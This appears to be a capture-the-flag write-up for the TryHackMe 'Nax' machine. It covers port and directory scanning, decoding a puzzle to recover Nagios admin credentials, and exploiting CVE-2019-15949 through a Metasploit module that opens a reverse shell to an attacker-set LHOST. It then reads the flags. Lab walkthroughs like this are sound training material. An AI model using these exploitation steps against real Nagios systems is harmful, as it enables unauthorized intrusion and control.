

Penetration Testing Report: TryHackMe - Nax

Target IP: 10.114.147.97

Date: July 18, 2026

1. Network Reconnaissance (Nmap)

An initial TCP port scan was performed to identify active services running on the target machine.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
25/tcp    open  smtp      Postfix smtpd
|_ssl-cert: Subject: commonName=ubuntu
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
389/tcp   open  ldap      OpenLDAP 2.2.X - 2.3.X
443/tcp   open  ssl/http  Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises
```

Key Takeaways:

- The target runs **Ubuntu Linux**.
- HTTP/HTTPS services (ports 80/443) are active.
- The SSL certificate on port 443 explicitly mentions **Nagios Enterprises**, indicating a Nagios instance is running.

2. Directory Brute-Forcing (Gobuster)

A directory enumeration scan was conducted on the web server to discover hidden directories and files.

```
.htaccess      (Status: 403) [Size: 278]
.hta           (Status: 403) [Size: 278]
.htpasswd      (Status: 403) [Size: 278]
cgi-bin/       (Status: 403) [Size: 278]
index.html     (Status: 200) [Size: 1332]
```

index.php (Status: 200) [Size: 2968]
javascript (Status: 301) [Size: 319] [-->
http://10.114.147.97/javascript/jquery]
/nagios (Status: 401) [Size: 460]
server-status (Status: 403) [Size: 278]

Key Finding:

The */nagios* endpoint exists but returns a 401 Unauthorized status, requiring valid credentials to access.

3. Web Enumeration & Cryptographic Analysis

Inspection of the main web page source revealed hidden hints based on periodic table elements.

Decode Sequence:

1. **Periodic Table Elements** > Decoded into a decimal string.
2. **Decimal String** > Decoded into the string: *Pi3t.PNg*.
3. Navigating to *http://10.114.147.97/Pi3t.PNg* revealed an image asset.

Image Analysis:

Using *exiftool* to inspect the image metadata revealed the author/owner:

- **Owner Name:** *Piet Mondrian*

Further analysis of the image layers inside **GIMP** successfully extracted hidden text strings containing valid credentials:

Identified Credentials:

- **Username:** *nagiosadmin*
- **Password:** *n3p3UQ&9BjLp4\$7uhWdY*

These credentials successfully authenticated against the HTTP Basic Auth prompt at */nagios*.

4. Exploitation & Initial Access

Upon gaining access to the Nagios XI interface, the software version was verified as vulnerable to an authenticated remote code execution vulnerability.

- **Vulnerability:** CVE-2019-15949 (Nagios XI Authenticated Remote Code Execution)
- **Exploit Vector:** Metasploit Framework

Execution Steps:

1. Fire up Metasploit console (`msfconsole`).
2. Load the corresponding exploit module:
3. Bash

use `exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce`

4. Configure the targets and local options:
5. Bash

```
set RHOSTS 10.114.147.97
```

```
set LHOST <YOUR_IP>
```

- 6.
7. Execute the exploit payload:
8. Bash

```
exploit
```

- 9.

The exploit completed successfully, establishing an interactive reverse shell connection as the service user.

5. Post-Exploitation & Lateral Movement

With an active shell established on the system, local enumeration was carried out to retrieve the flags.

User Flag

Navigating to the home directory of the user `glandan` yielded the user flag:

- Path: `/home/glandan/user.txt`
- Value: `THM{84b17*****f1}`

Root Flag

Privilege escalation or direct root path navigation allowed access to the root directory:

- Path: `/root/root.txt`
- Value: `THM{c89b2*****62}`